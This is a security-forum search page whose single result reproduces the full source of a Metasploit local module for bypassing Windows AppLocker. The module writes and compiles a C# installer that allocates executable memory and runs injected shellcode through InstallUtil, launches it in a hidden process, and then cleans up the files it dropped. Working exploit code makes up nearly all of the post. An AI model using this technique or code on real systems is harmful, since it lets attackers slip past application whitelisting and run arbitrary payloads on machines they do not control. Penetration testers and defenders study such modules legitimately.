Jump to content

Search the Community

Showing results for tags 'applocker execution prevention bypass'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 1 result

  1. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::FileDropper include Msf::Post::File def initialize(info={}) super(update_info(info, 'Name' => 'AppLocker Execution Prevention Bypass', 'Description' => %q{ This module will generate a .NET service executable on the target and utilise InstallUtil to run the payload bypassing the AppLocker protection. Currently only the InstallUtil method is provided, but future methods can be added easily. }, 'License' => MSF_LICENSE, 'Author' => [ 'Casey Smith', # Original AppLocker bypass research 'OJ Reeves' # MSF module ], 'Platform' => [ 'win' ], 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate'=> 'Aug 3 2015', 'References' => [ ['URL', 'https://gist.github.com/subTee/fac6af078937dda81e57'] ] )) register_options([ OptEnum.new('TECHNIQUE', [true, 'Technique to use to bypass AppLocker', 'INSTALLUTIL', %w(INSTALLUTIL)])]) end # Run Method for when run command is issued def exploit if datastore['TECHNIQUE'] == 'INSTALLUTIL' if payload.arch.first == 'x64' && sysinfo['Architecture'] !~ /64/ fail_with(Failure::NoTarget, 'The target platform is x86. 64-bit payloads are not supported.') end end # sysinfo is only on meterpreter sessions print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? if datastore['TECHNIQUE'] == 'INSTALLUTIL' execute_installutil end end def execute_installutil envs = get_envs('TEMP', 'windir') dotnet_path = get_dotnet_path(envs['windir']) print_status("Using .NET path #{dotnet_path}") cs_path = "#{envs['TEMP']}#{Rex::Text.rand_text_alpha(8)}.cs" exe_path = "#{envs['TEMP']}#{Rex::Text.rand_text_alpha(8)}.exe" installutil_path = "#{dotnet_path}InstallUtil.exe" print_status("Writing payload to #{cs_path}") write_file(cs_path, generate_csharp_source) register_files_for_cleanup(cs_path) print_status("Compiling payload to #{exe_path}") csc_path = "#{dotnet_path}csc.exe" csc_platform = payload.arch.first == 'x86' ? 'x86' : 'x64' vprint_status("Executing: #{csc_path} /target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}") cmd_exec(csc_path, "/target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}") print_status("Executing payload ...") vprint_status("Executing: #{installutil_path} /logfile= /LogToConsole=false /U #{exe_path}") client.sys.process.execute(installutil_path, "/logfile= /LogToConsole=false /U #{exe_path}", {'Hidden' => true}) register_files_for_cleanup(exe_path) end def get_dotnet_path(windir) base_path = "#{windir}Microsoft.NETFramework#{payload.arch.first == 'x86' ? '' : '64'}" paths = dir(base_path).select {|p| p[0] == 'v'} dotnet_path = nil paths.reverse.each do |p| path = "#{base_path}#{p}" if directory?(path) && file?("#{path}InstallUtil.exe") dotnet_path = path break end end unless dotnet_path fail_with(Failure::NotVulnerable, '.NET is not present on the target.') end dotnet_path end def generate_csharp_source sc = payload.encoded.each_byte.map {|b| "0x#{b.to_s(16)}"}.join(',') cs = %Q^ using System; namespace Pop { public class Program { public static void Main() { } } [System.ComponentModel.RunInstaller(true)] public class Pop : System.Configuration.Install.Installer { private static Int32 MEM_COMMIT=0x1000; private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40; private static UInt32 INFINITE = 0xFFFFFFFF; [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p); [System.Runtime.InteropServices.DllImport("kernel32")] private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id); [System.Runtime.InteropServices.DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms); public override void Uninstall(System.Collections.IDictionary s) { byte[] sc = new byte[] {#{sc}}; IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); System.Runtime.InteropServices.Marshal.Copy(sc, 0, m, sc.Length); IntPtr id = IntPtr.Zero; WaitForSingleObject(CreateThread(id, UIntPtr.Zero, m, id, 0, ref id), INFINITE); } } } ^ cs end end exploit source : packetstormsecurity.com
×
×
  • Create New...